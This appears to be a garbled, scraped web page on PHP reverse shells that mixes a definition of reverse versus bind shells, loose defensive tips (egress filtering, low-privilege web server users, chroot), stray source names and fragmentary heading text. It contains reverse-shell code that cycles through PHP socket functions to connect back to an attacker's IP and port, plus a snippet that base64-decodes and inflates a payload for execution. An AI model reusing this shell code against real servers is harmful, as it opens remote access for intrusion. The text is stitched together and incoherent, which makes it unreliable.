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Understanding PHP Reverse Shells

1. What is a Reverse Shell?

A reverse shell is a type of shell where the target machine (victim) initiates a connection back to the attacker’s machine. This is opposite to a "bind shell" (where the victim listens for incoming connections).

// Try every possible socket function if (function_exists('fsockopen')) $sock = fsockopen($ip, $port); elseif (function_exists('pfsockopen')) $sock = pfsockopen($ip, $port); elseif (function_exists('stream_socket_client')) $sock = stream_socket_client("tcp://$ip:$port"); else die('No socket functions available'); Reverse Shell Php

For quick execution via a command injection vulnerability, use these compact versions: Reverse Shells vs Bind Shells - ThreatLocker Understanding PHP Reverse Shells 1

The Magic Line:

Egress Filtering: Configure your firewall to block all outgoing traffic from the web server except to known, necessary destinations (like update servers or APIs). For quick execution via a command injection vulnerability,

$evalCode = gzinflate(base64_decode($payload)); $evalArguments = " ". $port." ". $ip; $tmpdir ="C:\\windows\\temp"; chdir($tmpdir) pentestmonkey/php-reverse-shell - GitHub

6. Least Privilege for Web Server User

• Run PHP-FPM or Apache as a low-privileged user (e.g., www-data with no shell).
• Use chroot or containers to isolate the web server.